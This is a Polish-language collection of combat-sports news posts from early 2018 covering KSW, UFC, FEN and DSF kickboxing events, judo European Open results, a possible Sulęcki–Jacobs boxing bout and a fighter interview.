KSW 43 we Wrocławiu

3 marca wojownicy KSW pojawią się na gali numer 42 w łódzkiej Atlas Arenie. Wiadomo już, gdzie odbędzie się kolejne wydarzenie organizacji Martina Lewandowskiego i Macieja Kawulskiego. 14 kwietnia KSW zawita do Wrocławia.

Organizatorzy zapewniają, że w Hali Stulecia pojawią się czołowi fighterzy. Należy czekać na nazwiska, które będą stopniowo wypełniać kartę walk. Kibice MMA z Wrocławia przyzwyczaili się, że na galach KSW w ich mieście nie brakuje gwiazd. Jednak zdążyli się już stęsknić za organizacją Lewandowskiego i Kawulskiego. Po raz ostatni w stolicy Dolnego Śląska KSW gościła w grudniu 2013 roku. Dotychczas we Wrocławiu organizacja była obecna trzy razy.

Podczas ostatniej wizyty, KSW 25, kibice MMA mogli podziwiać efektowną wygraną Mameda Khalidova, który w pierwszej rundzie uporał się z Ryutą Sakuraiem. Również przed czasem wygrywali Rafał Moks, Krzysztof Kułak, Mike Hayes (w pierwszych rundach), Rafał Błachuta, Oli Thompson (w drugich rundach) oraz Jakub Kowalewicz (trzecia runda). We Wrocławiu odbyły się również gale: KSW Eliminacje oraz KSW Eliminacje 2. W pierwszym przypadku turniej wygrał Jan Błachowicz, a w walkach dodatkowych wygrywali Łukasz Jurkowski, Krzysztof Kułak i Mamed Khalidov. Z kolei triumfatorem turnieju podczas KSW Eliminacje 2 był Michał Fijałka. Maciej Górski, Kułak i Khalidov triumfowali w walkach dodatkowych.

Teraz Łódź

Zanim gala we Wrocławiu, kibice zobaczą KSW 42 w łódzkiej Atlas Arenie. 3 marca należy spodziewać się niezwykle ciekawych pojedynków. W walce wieczoru zmierzą się mistrzowie wagi średniej i półciężkiej: Mamed Khalidov i Tomasz Narkun. Pasów mistrzowskich będą bronili Ariane Lipski i Mateusz Gamrot. Kolejny pojedynek w KSW stoczy Łukasz Jurkowski, a w organizacji zadebiutują Paulina Owczarz, Paulina Raszewska i Bartłomiej Kopera. Nie wolno również zapomnieć o starciu Michała Materli, który zmierzy się z Scottem Askhamem.

Warto również wspomnieć, że kontrakt z KSW podpisał nowy zawodnik. To Philip de Fries, który rywalizuje w wadze ciężkiej. 31-latek wygrał czternaście walk, zanotował sześć porażek. Aż jedenaście pojedynków zakończył przez poddanie.

KM

Rosjanka postara się zatrzymać Justino

3 marca podczas gali UFC 222 w T-Mobile Arenie w Las Vegas Cristiane Justino po raz drugi będzie broniła pasa wagi piórkowej. Naprzeciw skutecznej do bólu Brazylijki stanie Yana Kunitskaya.

Popularna "Cyborg" jest bezapelacyjną gwiazdą kobiecego MMA. W każdej walce "idzie po swoje". Dosłownie miażdży kolejne rywalki i staje się postrachem dla tych, które z nadzieją spoglądają w stronę pasa wagi piórkowej. W ostatniej walce, 30 grudnia, trudne warunki Brazylijce postawiła Holly Holm. 36-letnia była mistrzyni wagi koguciej UFC wytrzymała z Justino w oktagonie pięć rund. Co prawda przegrała jednogłośnie na punkty, ale "Cyborg" po raz ostatni na pełnym dystansie walczyła blisko dziesięć lat temu! Kibice czekają na występy zawodniczki z Kurytyby, bo wiedzą, że mogą spodziewać się efektownych pojedynków. Dotychczas Justino stoczyła cztery walki w UFC, trzy z nich wygrała przed czasem.

3 marca w Las Vegas wyzwanie Brazylijce rzuci Yana Kunitskaya. 28-latka już w debiucie w UFC ma szansę sięgnąć po mistrzowski pas. Rosjanka może pochwalić się tytułem mistrzyni wagi koguciej organizacji Invicta. W ostatniej walce pokonała Raquel Pa'aluhi, a wcześniej przegrała z Tonyą Evinger, którąw UFC pokonała… Justino. Warto dodać, że Kunitskaya ma na rozkładzie trzy Polki: Magdalenę Jarecką, Kamilę Bałandę i Sylwię Kusiak.

Początkowo mająca za sobą występy w organizacji Invicta zawodniczka miała zadebiutować na lutowej gali UFC on Fox 28. Planowano jej walkę z Sarą McMann, jednak ta została zestawiona z Marion Reneau wobec kontuzji Evinger. Fakt, że Kunitskaya w debiucie zmierzy się z Justino powinien cieszyć Rosjankę. Przy okazji przejścia do UFC 28-latka ostrzegała Brazylijkę. Teraz w oktagonie będzie miała okazję zaprezentować swoje umiejętności.

Edgar musi poczekać                                          

Podczas UFC 222 miało dojść do starcia Frankie Edgara z Maxem Holloway’em o mistrzostwo wagi piórkowej, jednak 26-letni Amerykanin doznał kontuzji. To miało być starcie wieczoru, ale nastąpiły zmiany. Głównym daniem będzie pojedynek Justino z Kunitskayą.

Z kolei w co-main evencie zobaczymy Edgara z Brianem Ortegą, który jeszcze nie zaznał goryczy porażki. Z kolei doświadczony Amerykanin wygrał dwie ostatnie walki. Edgar już dwukrotnie pretendował do pasa mistrzowskiego, ale przegrywał z Jose Aldo. Szykował się do trzeciej walki o tytuł, jednak nie przeszkodzie stanęła kontuzja Hollowaya. Jeśli Edgar pokona Ortegę, zapewne dostatnie jeszcze jedną szansę.

KM

PREMIERA: PZKB TV odc. 14

Zapraszamy do obejrzenia na żywo czternastego świątecznego odcinka programu z serii PZKB TV. Naszym gościem był Prezes Polski Związek Kickboxingu Piotr Siegoczyński. Rozmawialiśmy podczas transmisji live o przeszłości, teraźniejszości i przyszłości jaka czeka polski kickboxing.

[kod]

PREMIERA: PZKB TV odc. 16

Zapraszamy do obejrzenia szesnastego odcinka programu z serii PZKB TV. Naszym gościem był Mistrz Świata w Kickboxingu w formule Light-Contact, posiadacz pasa federacji DSF Kickboxing Challenge oraz wielokrotny Mistrz Polski Łukasz Wichowski.

[kod]

Jotko wraca po kontuzji, walka w kwietniu

Krzysztof Jotko ponownie zaprezentuje się w oktagonie. 28-letni Polak wystąpi podczas gali UFC on Fox 29, która odbędzie się 14 kwietnia w Glendale w Arizonie. Jego rywalem będzie Brad Tavares.

Dobiega końca absencja Krzysztofa Jotko, która była spowodowana kontuzją prawej ręki. Polski zawodnik wagi średniej doznał jej we wrześniowym starciu z Uriahem Hallem. Początkowo wydawało się, że Jotko zmierza po siódme zwycięstwo w UFC, ale w drugiej rundzie inicjatywę przejął rywal i mocnym ciosem zakończył walkę. Dla polskiego fightera była to druga porażka z rzędu, ale wyjątkowo pechowa. Jotko doznał kontuzji prawej ręki i musiał przejść operację, a potem stopniowo wracał do pełnej sprawności. Teraz Polak jest już gotowy na kolejne wyzwanie. 14 kwietnia w Glendale będzie czekał na niego Brad Tavares.

Z pewnością Polak nie może doczekać się kolejnej walki w UFC. Wczoraj podsycał atmosferę w mediach społecznościowych. – Czekacie na mój powrót? Papiery na najbliższą walkę już podpisane – napisał Jotko. Urodzony w Elblągu zawodnik nie będzie miał łatwego zadania. Stanie naprzeciw Brada Tavaresa, który w UFC rywalizuje już od ośmiu lat. 30-letni Amerykanin wygrał trzy ostatnie walki. Ostatnią porażkę zanotował w maju 2015 roku, kiedy przegrał z obecnym mistrzem wagi średniej Robertem Whittakerem. Co warto dodać, w większości przypadków Tavares wygrywa przez decyzję sędziów. Ostatnie dziewięć zwycięstw odnotował właśnie w taki sposób. Inaczej jest w przypadku porażek Amerykanina. Tavares zapisał cztery przegrane na swoim koncie, w tym trzy przed czasem.

Polscy kibice liczą, że Krzysztof Jotko będzie piątym pogromcą 30-latka. Nasz zawodnik potrzebuje zwycięstwa "jak ryba wody". Jotko znalazł się w trudnym położeniu. Jeszcze rok temu był w komfortowej sytuacji. Po pięciu wygranych z rzędu, jego akcje w wadze średniej stały wysoko. Jednak porażki z Davidem Branchem i wspomnianym Hallem sprawiły, że sytuacja Polaka skomplikowała się. Jotko wrócił do zdrowia, 14 kwietnia stoczy dziesiąty pojedynek w UFC. Pozostaje wierzyć, że 28-latek wróci na zwycięską ścieżkę.

W walce wieczoru gali UFC on Fox 29 zmierzą się zawodnicy wagi lekkiej: Justin Gaethje i Dustin Poirier.

Fot. Krzysztof Jotko Facebook

KM

LIVE: Liga Młodych Wojowników 3!!!

Polski Związek Kickboxingu​ oraz Federacja DSF Kickboxing Challenge​ zapraszają kadetów młodszych, starszych oraz juniorów na Ligę Młodych Wojowników, która odbędzie się 24.02.2018 r. w Warszawie w hali Białołęckiego Osrodka Sportu ul. Światowida 5. Transmisję telewizyjną na żywo przeprowadzi FighTime.pl – Telewizja sportów walki​.

Walki kadetów i juniorów na planszy kickboxingu odbędą się w formule Light contact zgodnie z regulaminem PZKB. Zgłoszenia do turnieju poprzez SOI. Liga Młodych Wojowników to wspólna inicjatywa PZKB oraz DSF Kickboxing Challenge mająca na celu promowanie młodych zawodników z klubów PZKB z których w przyszłości mogą narodzić się kadrowicze PZKB oraz zawodnicy walczący na galach DSF Kickboxing Challenge.

[kod]

Liga Młodych Wojowników 3!!!

Polski Związek Kickboxingu​ oraz Federacja DSF Kickboxing Challenge​ zapraszają kadetów młodszych, starszych oraz juniorów na Ligę Młodych Wojowników, która odbędzie się 24.02.2018 r. w Warszawie w hali Białołęckiego Osrodka Sportu ul. Światowida 5. Transmisję telewizyjną na żywo przeprowadzi FighTime.pl – Telewizja sportów walki​.

Walki kadetów i juniorów na planszy kickboxingu odbędą się w formule Light contact zgodnie z regulaminem PZKB. Zgłoszenia do turnieju poprzez SOI. Liga Młodych Wojowników to wspólna inicjatywa PZKB oraz DSF Kickboxing Challenge mająca na celu promowanie młodych zawodników z klubów PZKB z których w przyszłości mogą narodzić się kadrowicze PZKB oraz zawodnicy walczący na galach DSF Kickboxing Challenge.

Sulęcki rywalem Jacobsa?

28 kwietnia w Barclays Center miałoby dojść do starcia Macieja Sulęckiego z Danielem Jacobsem. Rozmowy w sprawie walki są zaawansowane – tak twierdzi Dan Rafael z ESPN.

Od kilku miesięcy Daniel Jacobs jest związany kontraktem promotorskim z Eddiem Hearnem. 31-letni Amerykanin ma wystąpić na gali HBO w Barclays Center, którą zaplanowano na 28 kwietnia. Obecnie trwają poszukiwania rywala dla Jacobsa. Wśród potencjalnych przeciwników Amerykanina wymieniano m.in. Irlandczyka Gary'ego O'Sullivana. 33-latek wygrał pięć ostatnich walk, a po raz ostatni przegrał w grudniu 2015 roku z Chrisem Eubankiem Jr. Kolejnym bokserem, który miał stanąć w szranki z Jacobsem był Andy Lee. Irlandczyk sięgnął w grudniu 2014 roku po tytuł mistrza świata WBO w wadze średniej pokonując Matwieja Korobowa. Tytuł stracił rok później na rzecz Billy'ego Joe Saundersa. W ostatnim pojedynku, marzec 2017, Lee pokonał KeAndrae Leatherwooda.

Jednak wedle ostatnich doniesień to nie pięściarze z Irlandii są faworytami do starcia z Jacobsem. Z byłym mistrzem świata WBA w wadze średniej miałby się zmierzyć Maciej Sulęcki. Co prawda popularny "Striczu" od roku rywalizuje w kategorii super półśredniej i kontynuuje zwycięską serię, co sprawiło, że został wyznaczony do finałowego eliminatora do mistrzowskiego tytułu WBC. 17 marca w Nowym Jorku Polak miałby boksować z Vanesem Martirosyanem.

Sytuacja Sulęckiego wydaje się komfortowa. Pięściarz z Warszawy ma w czym wybierać. Z jednej strony może wykonać krok w stronę mistrzowskiego pasa, z drugiej na horyzoncie pojawia się szansa starcia z mocnym bokserem. Wygrana Sulęckiego, którego akcje z każdą walką idą w górę może umocnić go w hierarchii wagi średniej i otworzyć przed Polakiem nowe możliwości.

Co do Daniela Jacobsa, 31-latek to niezwykle mocny pięściarz. Wygrał ponad 130 amatorskich potyczek, a na zawodowym ringu zanotował 33 zwycięstwa. W debiucie, 7 grudnia 2007 roku, potrzebował zaledwie 29 sekund, aby rozprawić się z Jose Jesusem Hurtado. Pas WBA wywalczył w sierpniu 2014 roku. Skutecznie bronił go w czterech starciach, co dało mu przepustkę do rywalizacji z Gennadijem Gołowkinem o panowanie w wadze średniej. Amerykanin toczył wyrównany bój z Kazachem, jednak to rywal po dwunastu rundach cieszył się ze zwycięstwa.

Nie ma wątpliwości, że Jacobs to fantastyczny pięściarz, ale również niezwykły walczak. Amerykanin wygrał najważniejszy pojedynek – o życie. Siedem lat temu pokonał nowotwór tkanki kostnej.

Czy w kwietniu będziemy obserwować starcie mocnego Amerykanina ze wspaniale rozwijającym się Polakiem? Czas pokaże.

KM

Tałach i Kuczera ze złotymi medalami

Świetny weekend za naszymi judokami. Karolina Tałach (63kg) oraz Piotr Kuczera (90kg) okazali się najlepsi w zawodach European Open, odpowiednio w portugalskim Odivelas i bułgarskiej Sofii. Ale to nie jedyne zdobycze biało-czerwonych.

Zacznijmy od pań, jak zwykło się robić. Zatem, do Odivelas udało się osiem Polek: Joanna Stankiewicz (48kg), Katarzyna Wiszniewska (48kg), Karolina Pieńkowska (52kg),  Anna Borowska (57kg), Julia Kowalczyk (57kg), Karolina Tałach (63kg), Paula Kulaga (78kg), Anna Załęczna (+78kg). Biało-czerwone z dwoma medalami uplasowały się na piątym miejscu w klasyfikacji końcowej. Najlepsze okazały się Japonki, które zdobyły pięć krążków.

Najwięcej powodów do radości z naszych zawodniczek miała Karolina Tałach. W ubiegłym roku 25-letnia zawodniczka ocierała się o podium, dwukrotnie była piąta. Pierwszy start w 2018 roku i od razu zwycięstwo! Po raz ostatni Polka na najwyższym stopniu podium stała w Zagrzebiu we wrześniu 2016 roku, kiedy to zwyciężyła w zawodach Grand Prix. W Portugalii Polka wygrała cztery pojedynki. Na początek uporała się z Angeles Aguilerą Lopez. Później toczyła zacięty bój z mistrzynią świata juniorek w drużynie Honoką Araki. W półfinale Tałach szybko poradziła sobie z najlepszą zawodniczką Oceanii Kathariną Haecker, a w decydującym boju rozbiła Hiszpankę Cristinę Cabanę Perez.

O krok od zwycięstwa była Karolina Pieńkowska (52kg). Lepsza od młodzieżowej mistrzyni Europy z 2015 roku z Bratysławy okazała się Kanadyjka Ecaterina Guica. Pieńkowska wygrała trzy pojedynki. Niewiele do podium zabrakło Julii Kowalczyk. 20-latka zaczęła od dwóch zwycięstw, a w półfinale zatrzymała ją Hiszpanka Jaione Equisoain. W walce o brąz lepsza od Kowalczyk była Japonka Yuka Watabe, która triumfowała przed czasem. Warto dodać, że wcześniej zawodniczka z Kraju Kwitnącej Wiśni odprawiła Annę Borowską. Siódme miejsce zajęła Anna Załęczna. Nasze pozostałe judoczki stoczyły po jednej walce i pożegnały się z turniejem.

Kuczera najlepszy

Poprzedni rok Polak rozpoczął od zwycięstwa w Rzymie. Teraz okazał się najlepszy w Sofii. Piotr Kuczera wygrał pięć pojedynków, po drodze pokonując m.in. Rafała Kozłowskiego. W finale judoka Kejza Team Rybnik wygrał z reprezentantem Izraela Li Kochmanem.

Łącznie w Sofii wystartowało dziesięciu Polaków. O krok od podium był Damian Szwarnowiecki (81kg). Polak o brąz rywalizował z Belgiem Samim Chouchi, jednak przegrał przed czasem. Siódme miejsce Rafała Kozłowskiego (90kg). Damian Stępień (81kg), Szymon Jasiński (66kg) i Bartłomiej Garbacik (60kg) stoczyli tylko po jednej walce. Zwycięsko zaczęli, ale potem przegrywali – tak było w przypadku Jacka Brysza (66kg), który zaliczył trzy starcia oraz Łukasz Golusa (66kg) i Michała Bartusika (73kg). Dwaj ostatni zapisali na swoim koncie po jednym zwycięstwie i jednej porażce.

 

KM

Znamy nazwisko rywala Trybsona na FEN 20!

Znamy nazwisko rywala, z którym 10 marca podczas gali Fight Exclusive Night 20 "Next Level" zmierzy się Paweł "Trybson" Trybała (3-3, 3KO). Naprzeciwko niego w warszawskiej hali Towar zobaczymy Tymoteusza Świątka (15-4, 7 KO, 6 SUB).

„Trybson” kontrakt z FEN podpisał we wrześniu, ale nie udało mu się zadebiutować podczas 19. edycji, która odbyła się we Wrocławiu. Wtedy zawodnik miał problemy zdrowotne, które uniemożliwiły mu wyjście do klatki.

– Nie mogę już się doczekać 10 marca. Aż chce się trenować z myślą, że przyjdzie mi pokazać się przed tak liczną publicznością podczas tak znakomitej gali – powiedział „Trybson”.

Świątek już czterokrotnie walczył pod szyldem FEN i był ważnym ogniwem federacji, gdy ta dopiero wchodziła na salony w polskim MMA. Popularny "Omen" wygrywał z takimi zawodnikami, jak Pavel Svoboda, Gerard Linder czy Martin Fouda. Kibice mieszanych sztuk walki mogą pamiętać go ze słynnej walki z Voctorem Marinho na FEN 6. Świątek z 15 wygranych pojedynków aż 13 zakończył przed czasem. To właśnie je wgoidowiskowy styl ma pomóc w pokonaniu "Trybsona" przed warszawską publicznością.

– Energetyka w tym starciu będzie ogromna, ale ja się cieszę – kibice tłumnie stawią się w Torwarze, by zobaczyć między innymi ten pojedynek. To nie potrwa pełnego dystansu trzech rund – jestem o tym przekonany – powiedział Paweł Jóźwiak, prezes FEN.

Pojedynek Pawła Trybały z Tymoteuszem Świątkiem odbędzie się w limicie umownym 80 kg.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć na stronie: http://fen-mma.com/bilet/

Świątek przed FEN 20: Sorry Paweł, ale będę musiał cię znokautować

Tymoteusz Świątek (15-4, 7 KO, 6 SUB) zmierzy się Pawłem "Trybsonem" Trybałą (3-3, 3 KO) podczas gali Fight Exclusive Night 20 'Next Level", która 10 marca odbędzie się w Warszawie. Poplarny "Omen" podkreśla, że największym jego problemem jest… brak cierpliwości.  – Gotuję się, chciałbym wyjść z nim do klatki już dzisiaj! – powiedział podczas pierwszego wywiadu udzielonego tuż po ogłoszeniu tego zestawienia.

Długo wiesz o tej walce?

TŚ: Trochę już wiem, pewnie ponad dwa tygodnie. Dostałem telefon i od razu się zgodziłem. Warunki mi odpowiadały, nie było z czym zwlekać. Jestem zawodnikiem, jestem wojownikiem, mogę się bić z każdym. Cieszę się, że 10 marca wyjdę naprzeciwko Trybsona. To dobry zawodnik, widziałem kilka jego walk. Jest dobry, ale… ale ja jestem lepszy. Więc, Paweł, sorry, ale będę musiał cię pokonać.

Trybson będzie chciał cię znokautować.

TŚ: Takie gadanie. A ja chcę znokautować jego i to też będę chciał uczynić 10 marca. Przepraszam – to też uczynię. Wyjdę jak po swoje i wygram – taki jest plan.

Do walki zostało pięć tygodni.

TŚ: I to martwi mnie najbardziej – nie mogę się już tego doczekać. Najchętniej przeniósłbym się w czasie do pierwszego gongu i już chciałbym być w klatce. Niestety – do tego muszę jeszcze chwilę poczekać. Mam nadzieję, że to szybko zleci.

Ostatnio znowu było o tobie bardzo głośno.

TŚ: Wiem, ale nie chcę już do tego wracać. Dużo rzeczy za mną, nie wszystko było dobre, kilka razy się pogubiłem, ale każdy popełnia błędy. Zmądrzałem, wydoroślałem, inaczej patrzę na życie. Sport to cały mój świat, nie mogę tego zaprzepaścić. Trochę już się w to bawię, wiem jak smakuje sukces, wiem również co to porażka. Czasami trzeba wpaść w dołek, żeby pewne rzeczy sobie poukładać. Ja już mam ten okres za sobą. Od gali w Warszawie wskoczą na nowy, jeszcze wyższy poziom, nie tylko jako zawodnik, ale też jako człowiek. Zwycięstwo z Trybsonem wprowadzi mnie na właściwy szlak po marzenia, które mam i o które zamierzam walczyć. Wiem, co o mnie napisano, czytałem to, było mi przykro, ale dużo było w tym kłamstw i oszczerstw. Omen wróci do klatki, bo zrobił sobie rachunek sumienia i teraz musi swoją wartość pokazać w oktagonie. Bądźcie ze mną na Torwarze.

Jak spędzisz najbliższe pięć tygodni?

TŚ: Będę zasuwał każdego dnia. Muszę zgubić trochę brzucha, wyrzeźbić się, kaloryfer i te sprawy. A tak poważnie, to wychodzę na trening i walczę o swoje marzenia. To jest dla mnie motywacja, by każdego dnia wstawać rano i się nie poddawać. Zwycięstwo z Trybsonem będzie dla mnie ważne. Coś udowodnię sobie, ale i wszystkim moim hejterom. Paweł, szanuję cię jako zawodnika, ale będziesz musiał ze mną przegrać. Omen wraca w wielkim stylu od zwycięstwa na FEN 20.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bratkowicz z pasem mistrzowskim

Gala DSF Kickboxing Challenge 13 we Wrocławiu niosła ze sobą ogromne sportowe emocje. W walce wieczoru Maksymilian Bratkowicz pokonał Mateusza Kubiszyna. Michał Turyński ponownie lepszy od Dzevada Poturaka, a w meczu międzypaństwowym Polacy przegrali z Czechami.

Niezwykle gorąca atmosfera towarzyszyła pojedynkowi Maksymiliana Bratkowicza i Mateusza Kubiszyna o pas kategorii 86kg. Główni aktorzy gali DSF Kickboxing Challenge 13 we Wrocławiu skutecznie budowali napięcie przed walką. Dodatkową motywacją dla Bratkowicza była chęć rewanżu za porażkę, której doznał podczas DSF "Najlepsi z Najlepszych" w grudniu 2016 roku. W Warszawie na punkty wygrał Kubiszyn. Na przestrzeni ostatnich miesięcy Bratkowicz spisywał się znakomicie i w Budapeszcie zdobył mistrzostwo świata. Teraz chciał być bykiem, który pokona torreadora. Kubiszyn spokojnie podchodził do tych deklaracji i zapowiadał, że to on zasiądzie na tronie. Obaj zawodnicy zapewniali, że w ich walce poleje się krew. Tym razem panowie również spędzili w ringu pełen dystans. Pełna determinacji walka zakończyła się sukcesem Bratkowicza, który w organizacji DSF pokazał ogromne możliwości. Notował porażki, ale niezłomna postawa i ciężka praca doprowadziły go na szczyt. Tym razem Mateusz Kubiszyn musiał przełknąć gorycz porażki.

Michał Turyński ponownie lepszy od Dzevada Poturaka. Wygrał w Sarajewie, triumfował we Wrocławiu i nadal pozostaje w posiadaniu pasa mistrzowskiego WAKO pro w formule low kick w kategorii 94kg. Na przestrzeni pięciu rund doświadczony Bośniak nie potrafił zagrozić Turyńskiemu. Mistrz nie pozostawił sędziom żadnych wątpliwości, co do tego, kto jest lepszym zawodnikiem.

Widowisko godne uwagi – z pewnością tak kibice zapamiętają starcie o pas mistrza świata WAKO Pro w K-1 w kategorii do 64,5kg. Eliasz Jankowski i Yuriy Zhukovsky nie oszczędzali się. Zawodnicy toczyli zacięty bój, jednak ostatni głos należał do sędziów, którzy nie byli jednomyślni. Ze zwycięstwa cieszył się Białorusin.

Nie było wejścia smoka w wykonaniu Pawła Biszczaka do organizacji DSF. Abdallah Mabel wysoko zawiesił poprzeczkę 32-letniemu Polakowi, który do niedawna z powodzeniem rywalizował na galach organizacji FEN. We Wrocławiu Biszczak musiał trzymać na baczności, bo Mabel to wszechstronny zawodnik. Dopiero dogrywka pozwoliła wyłonić zwycięzcę. Triumfował Mabel.

Dawid Zółtaszek po raz pierwszy miał okazję rywalizować w Polsce. Z powodzeniem. Sędziowie nie mieli wątpliwości, kto rozdawał karty w starciu kategorii wagowej +91kg. Łukasz Lipniacki został wypunktowany przez Żółtaszka.

Czesi fantastycznie rozpoczęli mecz międzypaństwowy z Polską. Trzy pojedynki i wszystkie wygrane. Paweł Józefowicz postawił się Denisowi Farkasowi, ale przegrał niejednogłośną decyzją sędziów. Huraganowe ataki Adama Audy szybko przyniosły efekt. Marcin Bachórz przegrał już w pierwszej rundzie. Dzieła dopełnił Anatoli Hunanyan, który w drugiej odsłonie znokautował Dominika Zadorę. Udany debiut w DSF zaliczyła Róża Gumienna, choć nie miała łatwego zadania. Lucie Mlejnkova okazała się twardą i nieustępliwą rywalką. Gumienna wygrała jednak 2:1 po morderczej batalii. W ostatnim pojedynku polsko-czeskiego meczu Adam Gielata pokonał Tadeasa Ruzickę.

W hali Orbita zwycięstwa świętowali również Tomasz Brotoń, po wyrównanej walce z Mateuszem Brusiło, oraz Dominik Tomcia, który jednogłośną decyzją sędziów pokonał Krystiana Bernatowicza.

Kolejna gala DSF Kickboxing Challenge odbędzie się 13 kwietnia na warszawskim Torwarze.

Fot. DSF Kickboxing Challenge Facebook

KM